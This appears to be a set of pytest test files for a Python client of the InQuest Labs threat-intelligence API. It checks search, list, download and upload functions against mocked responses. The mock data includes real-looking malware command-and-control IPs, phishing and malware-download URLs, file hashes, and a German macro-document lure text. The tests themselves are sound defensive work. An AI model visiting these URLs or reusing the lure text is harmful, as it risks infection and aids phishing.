2003 bytes, use -b option to extract)\n", 16 | "ext_ocr": "Dieses Dokument wurde in der vorherigen Version von \"Microsoft Of|fb01|ce Word\" erstellt.\n\nUm dieses Dokument zu visualisieren oder bearbeiten, klicken Sie, bitte, auf die\nSchaltfl|e9|iche ,,Bearbeitung aktivieren|201d| in der oberen Leiste und dann auf ,,lnhalt aktivieren|201d|.\n\n \n\n", 17 | "file_type": "DOC", 18 | "first_seen": "Wed, 06 Nov 2019 21:05:52 GMT", 19 | "inquest_alerts": [{ 20 | "category": "info", 21 | "description": "Detected macro logic that can write data to the file system.", 22 | "reference": null, 23 | "title": "Macro with File System Write" 24 | }, { 25 | "category": "info", 26 | "description": "Detected macro logic that will automatically execute on document open. Most malware contains some execution hook.", 27 | "reference": null, 28 | "title": "Macro with Startup Hook" 29 | }, { 30 | "category": "info", 31 | "description": "Detected a macro with a suspicious string. Suspicious strings include privileged function calls, obfuscations, odd registry keys, etc...", 32 | "reference": null, 33 | "title": "Macro Contains Suspicious String" 34 | }], 35 | "inquest_dfi_size": 450624, 36 | "last_inquest_dfi": "Wed, 06 Nov 2019 21:07:34 GMT", 37 | "last_inquest_featext": "Wed, 06 Nov 2019 21:07:43 GMT", 38 | "last_updated": "Wed, 06 Nov 2019 21:07:44 GMT", 39 | "len_code": 13801, 40 | "len_context": 23, 41 | "len_metadata": 4559, 42 | "len_ocr": 301, 43 | "md5": "878c69c589d5a14f113ac65f03973e68", 44 | "mime_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", 45 | "sha1": "09896ec0c5d27529d2fbc86c5840fcce19b9b560", 46 | "sha256": "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", 47 | "sha512": "4eef47825c5eddedd7a3c9529c2de513121ca8750568404ec5411bb4ab213cf94bf4075ddfa1265f87c936dcfedccbd3bb2ea80856b9b6cc68e5de161394acce", 48 | "size": 143551, 49 | "subcategory": "macro_hunter", 50 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule", 51 | "virus_total": "https://www.virustotal.com/gui/file/30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c" 52 | }""" 53 | return mocked 54 | 55 | def mock_invalid_hash_response(*args, **kwargs): 56 | with requests_mock.Mocker() as mock_request: 57 | mock_request.get("http://labs_mock.com", json={'error': "Supplied 'sha256' value is not a valid hash.", 'success': False}, status_code=400) 58 | response = requests.get("http://labs_mock.com") 59 | return response 60 | 61 | 62 | def test_dfi_details_invalid_hash(labs, mocker): 63 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response) 64 | 65 | with pytest.raises(AssertionError) as excinfo: 66 | labs.dfi_details("mock") 67 | 68 | assert "AssertionError" in str(excinfo) 69 | 70 | 71 | def test_dfi_details(labs, mocker): 72 | mocker.patch('inquestlabs.inquestlabs_api.API', 73 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"}) 74 | 75 | details = labs.dfi_details( 76 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c") 77 | 78 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c" 79 | 80 | 81 | def test_dfi_details_with_attributes(labs, mocker): 82 | mocker.patch('inquestlabs.inquestlabs_api.API', 83 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", "attribrutes":["test"]}) 84 | 85 | details = labs.dfi_details( 86 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", attributes=True) 87 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c" 88 | assert "attributes" in details.keys() 89 | 90 | 91 | 92 | def test_dfi_details_invalid_hash_with_key(labs_with_key, mocker): 93 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response) 94 | 95 | with pytest.raises(AssertionError) as excinfo: 96 | labs_with_key.dfi_details("mock") 97 | 98 | assert "Assertion" in str(excinfo) 99 | 100 | 101 | 102 | def test_dfi_details_with_key(labs_with_key, mocker): 103 | mocker.patch('inquestlabs.inquestlabs_api.API', 104 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c"}) 105 | 106 | details = labs_with_key.dfi_details( 107 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c") 108 | 109 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c" 110 | 111 | 112 | 113 | def test_dfi_details_with_attributes_with_key(labs_with_key, mocker): 114 | mocker.patch('inquestlabs.inquestlabs_api.API', 115 | return_value={"sha256":"30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", "attribrutes":["test"]}) 116 | 117 | details = labs_with_key.dfi_details( 118 | "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c", attributes=True) 119 | assert details["sha256"] == "30c53168deee9046d41d3e602e0e598c2cf0880fed1a34b957f5f3bd9361b52c" 120 | assert "attributes" in details.keys() 121 | 122 | -------------------------------------------------------------------------------- /tests/test_dfi_download.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from inquestlabs import inquestlabs_exception 4 | import requests_mock 5 | import requests 6 | 7 | @pytest.fixture 8 | def mock_invalid_doc(): 9 | return "test" 10 | 11 | @pytest.fixture 12 | def mock_hash(): 13 | return "1e9e3b4aaab8fd2f9775800578e9b0bcc4980c2e615bf0f706e142c63f36e710" 14 | 15 | @pytest.fixture 16 | def mock_hash_data(): 17 | return bytearray('mock data inside this hash','utf-8') 18 | 19 | def mock_invalid_hash_response(*args, **kwargs): 20 | with requests_mock.Mocker() as mock_request: 21 | mock_request.get("http://labs_mock.com", json={'error': "Supplied 'sha256' value is not a valid hash.", 'success': False}, status_code=400) 22 | response = requests.get("http://labs_mock.com") 23 | return response 24 | 25 | def test_download_invalid_sha256(labs,mocker): 26 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response) 27 | 28 | with pytest.raises(AssertionError) as excinfo: 29 | labs.dfi_download("mock","fake_path") 30 | 31 | assert "AssertionError" in str(excinfo) 32 | 33 | def test_download_invalid_path(labs, mocker, mock_hash, mock_hash_data): 34 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_hash_data) 35 | 36 | with pytest.raises(inquestlabs_exception) as excinfo: 37 | labs.dfi_download(mock_hash,"/path/does/not/exist") 38 | 39 | assert "failed downloading file" in str(excinfo.value) 40 | 41 | 42 | def test_download_invalid_sha256_with_key(labs_with_key,mocker): 43 | mocker.patch('requests.request', side_effect=mock_invalid_hash_response) 44 | 45 | with pytest.raises(AssertionError) as excinfo: 46 | labs_with_key.dfi_download("mock","fake_path") 47 | 48 | assert "AssertionError" in str(excinfo) 49 | 50 | def test_download_invalid_path_with_key(labs_with_key, mocker, mock_hash, mock_hash_data): 51 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_hash_data) 52 | 53 | with pytest.raises(inquestlabs_exception) as excinfo: 54 | labs_with_key.dfi_download(mock_hash,"/path/does/not/exist") 55 | 56 | assert "failed downloading file" in str(excinfo.value) 57 | -------------------------------------------------------------------------------- /tests/test_dfi_list.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | @pytest.fixture 4 | def mock_dfi_list(): 5 | return [ 6 | {'artifact': '149.202.154.164', 7 | 'artifact_type': 'ipaddress', 8 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT', 9 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985', 10 | 'reference_text': '#Nikki stealer C2 (probably) at: ' 11 | '149.202.154.]164/p/login.php\n' 12 | 'Also #Azorult panel on same IP: ' 13 | 'http://149.202.154.]164/azo/index.php'}, 14 | {'artifact': 'http://149.202.154.164/azo/index.php', 15 | 'artifact_type': 'url', 16 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT', 17 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985', 18 | 'reference_text': 'test'}, 19 | 20 | {'artifact': '217.114.181.3', 21 | 'artifact_type': 'ipaddress', 22 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT', 23 | 'reference_link': 'https://twitter.com/sdpcthreatintel/status/1194163105376305153' 24 | ,'reference_text': '217.114.181.3 attempted MYSQL exploitation 1 time(s)' } 25 | ] 26 | 27 | def test_dfi_list(labs,mocker,mock_dfi_list): 28 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_dfi_list) 29 | dfi_list = labs.dfi_list() 30 | assert len(dfi_list) == len(mock_dfi_list) 31 | assert dfi_list[0]['artifact'] =='149.202.154.164' 32 | 33 | def test_dfi_list_with_key(labs_with_key,mocker,mock_dfi_list): 34 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_dfi_list) 35 | dfi_list = labs_with_key.dfi_list() 36 | assert len(dfi_list) == len(mock_dfi_list) 37 | assert dfi_list[0]['artifact'] =='149.202.154.164' 38 | -------------------------------------------------------------------------------- /tests/test_dfi_search.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from inquestlabs import inquestlabs_exception 3 | import json 4 | 5 | @pytest.fixture 6 | def mock_response(): 7 | response = """{ 8 | "data": [ 9 | { 10 | "analysis_completed": true, 11 | "classification": "UNKNOWN", 12 | "file_type": "XLS", 13 | "first_seen": "Wed, 16 Oct 2019 16:55:16 GMT", 14 | "inquest_alerts": [], 15 | "last_inquest_featext": "Mon, 28 Oct 2019 06:39:05 GMT", 16 | "len_code": 8415, 17 | "len_context": 35268, 18 | "len_metadata": 11294, 19 | "len_ocr": 88, 20 | "mime_type": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", 21 | "sha256": "b43e1cef3c40e4629529c0ddcdef3c5be451477afd713abd0b67e1260831ba19", 22 | "size": 2004642, 23 | "subcategory": "macro_hunter", 24 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule" 25 | }, 26 | { 27 | "analysis_completed": true, 28 | "classification": "UNKNOWN", 29 | "file_type": "XLS", 30 | "first_seen": "Wed, 16 Oct 2019 16:55:13 GMT", 31 | "inquest_alerts": [], 32 | "last_inquest_featext": "Sun, 27 Oct 2019 17:28:11 GMT", 33 | "len_code": 10154, 34 | "len_context": 20688, 35 | "len_metadata": 13595, 36 | "len_ocr": 88, 37 | "mime_type": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", 38 | "sha256": "0d85df8baeedddcf487865eb3bf827399895f1e470675a6542135848514f5003", 39 | "size": 2044782, 40 | "subcategory": "macro_hunter", 41 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule" 42 | }, 43 | { 44 | "analysis_completed": true, 45 | "classification": "UNKNOWN", 46 | "file_type": "XLS", 47 | "first_seen": "Wed, 16 Oct 2019 16:09:02 GMT", 48 | "inquest_alerts": [], 49 | "last_inquest_featext": "Mon, 28 Oct 2019 08:37:09 GMT", 50 | "len_code": 10508, 51 | "len_context": 20674, 52 | "len_metadata": 13595, 53 | "len_ocr": 88, 54 | "mime_type": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", 55 | "sha256": "cadffb3d09a59d0923ddf57982096383cf44f9016007000a81fa56e875fceaa1", 56 | "size": 2069673, 57 | "subcategory": "macro_hunter", 58 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/macro_hunter.rule" 59 | }],"success": true}""" 60 | return json.loads(response) 61 | 62 | 63 | def test_invalid_category(labs, mocker): 64 | with pytest.raises(inquestlabs_exception) as excinfo: 65 | labs.dfi_search("BAD_CATEGORY", "code", "mock_keyword") 66 | 67 | assert "invalid category" in str(excinfo.value) 68 | 69 | 70 | def test_invalid_subcategory(labs, mocker): 71 | with pytest.raises(inquestlabs_exception) as excinfo: 72 | labs.dfi_search("hash", "BAD_CATEGORY", "mock_keyword") 73 | assert "invalid subcategory" in str(excinfo.value) 74 | 75 | 76 | def test_valid_ext(labs, mocker, mock_response): 77 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 78 | results = labs.dfi_search("ext", "metadata", "mock") 79 | assert len(results["data"]) == 3 80 | 81 | 82 | def test_valid_hash(labs, mocker, mock_response): 83 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 84 | results = labs.dfi_search("hash", "md5", "mock") 85 | assert len(results["data"]) == 3 86 | 87 | 88 | def test_valid_other(labs, mocker, mock_response): 89 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 90 | results = labs.dfi_search("ioc", "domain", "mock") 91 | assert len(results["data"]) == 3 92 | 93 | 94 | def test_invalid_category_with_key(labs_with_key, mocker): 95 | with pytest.raises(inquestlabs_exception) as excinfo: 96 | labs_with_key.dfi_search("BAD_CATEGORY", "code", "mock_keyword") 97 | 98 | assert "invalid category" in str(excinfo.value) 99 | 100 | 101 | def test_invalid_subcategory_with_key(labs_with_key, mocker): 102 | with pytest.raises(inquestlabs_exception) as excinfo: 103 | labs_with_key.dfi_search("hash", "BAD_CATEGORY", "mock_keyword") 104 | 105 | assert "invalid subcategory" in str(excinfo.value) 106 | 107 | 108 | def test_valid_ext_with_key(labs_with_key, mocker, mock_response): 109 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 110 | results = labs_with_key.dfi_search("ext", "metadata", "mock") 111 | assert len(results["data"]) == 3 112 | 113 | 114 | def test_valid_hash_with_key(labs_with_key, mocker, mock_response): 115 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 116 | results = labs_with_key.dfi_search("hash", "md5", "mock") 117 | assert len(results["data"]) == 3 118 | 119 | 120 | def test_valid_other_with_key(labs_with_key, mocker, mock_response): 121 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_response) 122 | results = labs_with_key.dfi_search("ioc", "domain", "mock") 123 | assert len(results["data"]) == 3 124 | -------------------------------------------------------------------------------- /tests/test_dfi_sources.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | def test_dfi_sources(labs, mocker): 5 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"]) 6 | 7 | dfi_list = labs.dfi_sources() 8 | assert len(dfi_list) > 0 9 | 10 | 11 | def test_dfi_sources_with_key(labs_with_key,mocker): 12 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"]) 13 | 14 | dfi_list = labs_with_key.dfi_sources() 15 | assert len(dfi_list) > 0 16 | -------------------------------------------------------------------------------- /tests/test_dfi_upload.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | from inquestlabs import inquestlabs_exception 4 | 5 | 6 | @pytest.fixture 7 | def mock_invalid_doc(): 8 | return "test" 9 | 10 | 11 | @pytest.fixture 12 | def mock_valid_doc(): 13 | return "[\xD0\xCF]" 14 | 15 | 16 | @pytest.fixture 17 | def mock_valid_response(): 18 | return {"success": True} 19 | 20 | 21 | def test_invalid_upload_type(labs, mocker, mock_invalid_doc): 22 | mock_file = mocker.mock_open(read_data=mock_invalid_doc) 23 | mocker.patch("os.path.exists", return_value=True) 24 | mocker.patch("os.path.isfile", return_value=True) 25 | mocker.patch('builtins.open', mock_file) 26 | mocker.patch('inquestlabs.inquestlabs_api.API', 27 | return_value=mock_valid_response) 28 | with pytest.raises(inquestlabs_exception, match=r'unsupported file type for upload'): 29 | labs.dfi_upload("mock") 30 | 31 | 32 | def test_valid_upload_type(labs, mocker, mock_valid_doc, mock_valid_response): 33 | mock_file = mocker.mock_open(read_data=b'PK') 34 | mocker.patch("os.path.exists", return_value=True) 35 | mocker.patch("os.path.isfile", return_value=True) 36 | mocker.patch('builtins.open', mock_file) 37 | mocker.patch('inquestlabs.inquestlabs_api.API', 38 | return_value=mock_valid_response) 39 | response = labs.dfi_upload("mock") 40 | assert response["success"] 41 | 42 | 43 | def test_nonexistant_path(labs, mocker): 44 | mocker.patch("os.path.exists", return_value=False) 45 | with pytest.raises(inquestlabs_exception) as excinfo: 46 | labs.dfi_upload("mock") 47 | 48 | assert "invalid file" in str(excinfo.value) 49 | 50 | 51 | def test_path_is_not_a_file(labs, mocker): 52 | mocker.patch("os.path.isfile", return_value=False) 53 | with pytest.raises(inquestlabs_exception) as excinfo: 54 | labs.dfi_upload("mock") 55 | 56 | assert "invalid file" in str(excinfo.value) 57 | 58 | 59 | def test_invalid_upload_type_with_key(labs_with_key, mocker, mock_invalid_doc): 60 | mock_file = mocker.mock_open(read_data=mock_invalid_doc) 61 | mocker.patch("os.path.exists", return_value=True) 62 | mocker.patch("os.path.isfile", return_value=True) 63 | mocker.patch('builtins.open', mock_file) 64 | mocker.patch('inquestlabs.inquestlabs_api.API', 65 | return_value=mock_valid_response) 66 | with pytest.raises(inquestlabs_exception, match=r'unsupported file type for upload'): 67 | labs_with_key.dfi_upload("mock") 68 | 69 | 70 | def test_valid_upload_type_with_key(labs_with_key, mocker, mock_valid_doc, mock_valid_response): 71 | mock_file = mocker.mock_open(read_data=b'PK') 72 | mocker.patch("os.path.exists", return_value=True) 73 | mocker.patch("os.path.isfile", return_value=True) 74 | mocker.patch('builtins.open', mock_file, create=True) 75 | mocker.patch('inquestlabs.inquestlabs_api.API', 76 | return_value=mock_valid_response) 77 | response = labs_with_key.dfi_upload("mock") 78 | 79 | assert response["success"] 80 | 81 | 82 | def test_nonexistant_path_with_key(labs_with_key, mocker): 83 | mocker.patch("os.path.exists", return_value=False) 84 | with pytest.raises(inquestlabs_exception) as excinfo: 85 | labs_with_key.dfi_upload("mock") 86 | assert "invalid file" in str(excinfo.value) 87 | 88 | 89 | def test_path_is_not_a_file_with_key(labs_with_key, mocker): 90 | mocker.patch("os.path.isfile", return_value=False) 91 | with pytest.raises(inquestlabs_exception) as excinfo: 92 | labs_with_key.dfi_upload("mock") 93 | 94 | assert "invalid file" in str(excinfo.value) 95 | -------------------------------------------------------------------------------- /tests/test_iocdb_list.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | @pytest.fixture 4 | def mock_iocdb_list(): 5 | return [ {'artifact': '149.202.154.164', 6 | 'artifact_type': 'ipaddress', 7 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT', 8 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985', 9 | 'reference_text': '#Nikki stealer C2 (probably) at: ' 10 | '149.202.154.]164/p/login.php\n' 11 | 'Also #Azorult panel on same IP: ' 12 | 'http://149.202.154.]164/azo/index.php'}, 13 | {'artifact': 'http://149.202.154.164/azo/index.php', 14 | 'artifact_type': 'url', 15 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT', 16 | 'reference_link': 'https://twitter.com/SoulRage6/status/1194165760140201985', 17 | 'reference_text': '#Nikki stealer C2 (probably) at: ' 18 | '149.202.154.]164/p/login.php\n' 19 | 'Also #Azorult panel on same IP: ' 20 | 'http://149.202.154.]164/azo/index.php'}, 21 | {'artifact': '217.114.181.3', 22 | 'artifact_type': 'ipaddress', 23 | 'created_date': 'Tue, 12 Nov 2019 08:59:41 GMT', 24 | 'reference_link': 'https://twitter.com/sdpcthreatintel/status/1194163105376305153', 25 | 'reference_text': '217.114.181.3 attempted MYSQL exploitation 1 time(s), ' 26 | 'DShield attacks: 5, Country: RU'}] 27 | 28 | 29 | def test_iocdb_list(labs,mocker, mock_iocdb_list): 30 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_iocdb_list) 31 | iocdb_list = labs.iocdb_list() 32 | assert len(iocdb_list) == len(mock_iocdb_list) 33 | 34 | 35 | def test_iocdb_list_with_key(labs_with_key, mocker, mock_iocdb_list): 36 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_iocdb_list) 37 | iocdb_list = labs_with_key.iocdb_list() 38 | assert len(iocdb_list) == len(mock_iocdb_list) 39 | -------------------------------------------------------------------------------- /tests/test_iocdb_search.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | @pytest.fixture 5 | def mock_list(): 6 | return [{'artifact': 'worldwardmobi.com', 'artifact_type': 'domain', 'created_date': 'Thu, 07 Nov 2019 00:29:05 GMT', 'reference_link': 'https://twitter.com/IpNigh/status/1192232066064244736', 'reference_text': '#Phishing | #PhishKit | #PhishingKit Found and downloaded.\nURL:hxxps://worldwardmobi.com/icon/USAA/USAA/USAA\nThreat… https://twitter.com/i/w...'}, {'artifact': 'http://worldwardmobi.com/icon/USAA/USAA/USAA', 'artifact_type': 'url', 'created_date': 'Thu, 07 Nov 2019 00:29:05 GMT', 'reference_link': 'https://twitter.com/IpNigh/status/1192232066064244736', 'reference_text': '#Phishing | #PhishKit | #PhishingKit Found and downloaded.\nURL:hxxps://worldwardmobi.com/icon/USAA/USAA/USAA\nThreat… https://twitter.com/i/w...'}] 7 | 8 | 9 | def test_iocdb_search(labs, mock_list, mocker): 10 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list) 11 | iocdb_list = labs.iocdb_search("worldwardmobi.com") 12 | assert len(iocdb_list) == 2 13 | 14 | 15 | def test_iocdb_search_with_key(labs_with_key, mock_list, mocker): 16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list) 17 | iocdb_list = labs_with_key.iocdb_search("worldwardmobi.com") 18 | assert len(iocdb_list) == 2 19 | -------------------------------------------------------------------------------- /tests/test_iocdb_sources.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | def test_iocdb_sources(labs,mocker): 5 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"]) 6 | 7 | iocdb_list = labs.iocdb_sources() 8 | assert len(iocdb_list) > 0 9 | 10 | 11 | def test_iocdb_sources_with_key(labs_with_key,mocker): 12 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"]) 13 | iocdb_list = labs_with_key.iocdb_sources() 14 | assert len(iocdb_list) > 0 15 | -------------------------------------------------------------------------------- /tests/test_repdb_list.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | @pytest.fixture() 4 | def mock_repdb_list(): 5 | return [ {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT', 6 | 'data': 'techablog.com/PayPal-US/LLC/', 7 | 'data_type': 'url', 8 | 'derived': 'techablog.com', 9 | 'derived_type': 'domain', 10 | 'source': 'urlhaus', 11 | 'source_url': 'https://urlhaus.abuse.ch/host/techablog.com'}, 12 | {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT', 13 | 'data': 'techquotes.tk/WIRE-FORM/IMT-368022645396/', 14 | 'data_type': 'url', 15 | 'derived': 'techquotes.tk', 16 | 'derived_type': 'domain', 17 | 'source': 'urlhaus', 18 | 'source_url': 'https://urlhaus.abuse.ch/host/techquotes.tk'}, 19 | {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT', 20 | 'data': 'teplhome.ru/INV/WPD-4262802989/', 21 | 'data_type': 'url', 22 | 'derived': 'teplhome.ru', 23 | 'derived_type': 'domain', 24 | 'source': 'urlhaus', 25 | 'source_url': 'https://urlhaus.abuse.ch/host/teplhome.ru'}, 26 | {'created_date': 'Sat, 16 Nov 2019 14:52:36 GMT', 27 | 'data': 'testypolicja.pl//WIRE-FORM/YQW-3280068/', 28 | 'data_type': 'url', 29 | 'derived': 'testypolicja.pl', 30 | 'derived_type': 'domain', 31 | 'source': 'urlhaus', 32 | 'source_url': 'https://urlhaus.abuse.ch/host/testypolicja.pl'}] 33 | 34 | def test_repdb_list(labs, mock_repdb_list,mocker): 35 | 36 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_repdb_list) 37 | repdb_list = labs.repdb_list() 38 | assert len(repdb_list) == len(mock_repdb_list) 39 | 40 | 41 | def test_repdb_list_with_key(labs_with_key, mock_repdb_list,mocker): 42 | mocker.patch("inquestlabs.inquestlabs_api.API", return_value=mock_repdb_list) 43 | repdb_list = labs_with_key.repdb_list() 44 | assert len(repdb_list) == len(mock_repdb_list) 45 | -------------------------------------------------------------------------------- /tests/test_repdb_search.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | @pytest.fixture 5 | def mock_list(): 6 | return [{'created_date': 'Thu, 07 Nov 2019 00:09:16 GMT', 'data': 'opora-company.ru/O5Go/', 'data_type': 'url', 'derived': 'opora-company.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/opora-company.ru'}, {'created_date': 'Thu, 07 Nov 2019 00:09:04 GMT', 'data': '2toporaru.432.com1.ru/2.msi', 'data_type': 'url', 'derived': '2toporaru.432.com1.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/2toporaru.432.com1.ru'}, {'created_date': 'Thu, 07 Nov 2019 00:09:04 GMT', 'data': '2toporaru.432.com1.ru/1.msi', 'data_type': 'url', 'derived': '2toporaru.432.com1.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/2toporaru.432.com1.ru'}, {'created_date': 'Thu, 07 Nov 2019 00:09:02 GMT', 'data': '2toporaru.432.com1.ru/softcry.msi', 'data_type': 'url', 'derived': '2toporaru.432.com1.ru', 'derived_type': 'domain', 'source': 'urlhaus', 'source_url': 'https://urlhaus.abuse.ch/host/2toporaru.432.com1.ru'}, {'created_date': 'Sun, 27 Oct 2019 22:33:04 GMT', 'data': 'newnationaltradingcoporation.000webhostapp.com', 'data_type': 'url', 'derived': 'newnationaltradingcoporation.000webhostapp.com', 'derived_type': 'domain', 'source': 'threatweb', 'source_url': 'https://www.threatweb.com'}, {'created_date': 'Sun, 23 Jun 2019 13:55:46 GMT', 'data': 'www.dxaudio.com/styled-2/services/coporate.html', 'data_type': 'url', 'derived': 'www.dxaudio.com', 'derived_type': 'domain', 'source': 'threatweb', 'source_url': 'https://www.threatweb.com'}] 7 | 8 | 9 | def test_repdb_search(labs, mock_list, mocker): 10 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list) 11 | repdb_list = labs.repdb_search("opora") 12 | assert len(repdb_list) == 6 13 | 14 | 15 | def test_repdb_search_with_key(labs_with_key, mock_list, mocker): 16 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_list) 17 | repdb_list = labs_with_key.repdb_search("opora") 18 | assert len(repdb_list) == 6 19 | -------------------------------------------------------------------------------- /tests/test_repdb_sources.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | def test_repdb_sources(labs,mocker): 5 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"]) 6 | 7 | repdb_sources = labs.repdb_sources() 8 | assert len(repdb_sources) > 0 9 | 10 | 11 | def test_repdb_sources_with_key(labs_with_key,mocker): 12 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=["source1","source2","etc"]) 13 | 14 | repdb_sources = labs_with_key.repdb_sources() 15 | assert len(repdb_sources) > 0 16 | -------------------------------------------------------------------------------- /tests/test_stats.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | 3 | 4 | @pytest.fixture 5 | def mock_stats(): 6 | return {'dfidb': {'first_record': '2017-11-15', 'macro_hunter': 492225, 'maldoc_hunter': 117095, 'phish_hunter': 962, 'rtf_hunter': 8347, 'swfdoc_hunter': 1249}, 'dfiiocs': {'domain': 5074406, 'email': 1634109, 'filename': 8721261, 'first_record': '2017-11-15', 'ip': 1856861, 'url': 4077783, 'xmpid': 985797}, 'iocdb': {'domain': 24426, 'first_record': '2019-03-22', 'hash': 22370, 'ipaddress': 21457, 'url': 38528, 'yarasignature': 8508}, 'mime': {'application/cdfv2': 131773, 'application/msword': 151869, 'application/octet-stream': 3872, 'application/vnd.ms-excel': 160930, 'application/vnd.ms-office': 5907, 'application/vnd.ms-outlook': 9017, 'application/vnd.openxmlformats-officedocument.presentationml.presentation': 5144, 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet': 99013, 'application/vnd.openxmlformats-officedocument.wordprocessingml.document': 40795, 'application/zip': 5032, 'first_record': '2017-11-15'}, 'mime_high': {'DOC': 198571, 'DOCX': 5032, 'EML': 9017, 'OLE': 131773, 'OTHER': 3872, 'PPT': 5144, 'XLS': 259943, 'first_record': '2017-11-15'}, 'repdb': {'asn_num': 490, 'domain': 395391, 'first_record': '2018-04-01', 'ip': 5286304, 'url': 1299516}, 'repdbsources': {'abuse.ch': 556, 'alienvault': 1084460, 'bambenek': 12198, 'binarydefence': 123845, 'blocklist': 1913435, 'botscout': 69602, 'bruteforceblocker': 19056, 'ciarmy': 887942, 'cleantalk': 93800, 'csirtg': 86620, 'cybercrime-tracker': 2177, 'dataplane': 450594, 'emd': 255406, 'fedotracker': 3930, 'first_record': '2017-07-18', 'greensnow': 210190, 'isc.sans': 20903, 'malcode': 1051, 'malwaredomainlist': 3263, 'myip': 110129, 'openphish': 439857, 'packetmail': 447, 'phishtank': 165546, 'spamhaus': 490, 'sslbl': 604, 'stopforumspam': 15608, 'talos': 23227, 'threatweb': 745488, 'urlhaus': 235026, 'vxvault': 6053, 'zeus': 198}} 7 | 8 | 9 | def test_stats(labs, mock_stats, mocker): 10 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_stats) 11 | 12 | stats = labs.stats() 13 | assert "dfidb" in stats.keys() 14 | 15 | 16 | def test_stats_with_key(labs_with_key, mock_stats, mocker): 17 | mocker.patch('inquestlabs.inquestlabs_api.API', return_value=mock_stats) 18 | stats = labs_with_key.stats() 19 | assert "dfidb" in stats.keys() 20 | -------------------------------------------------------------------------------- 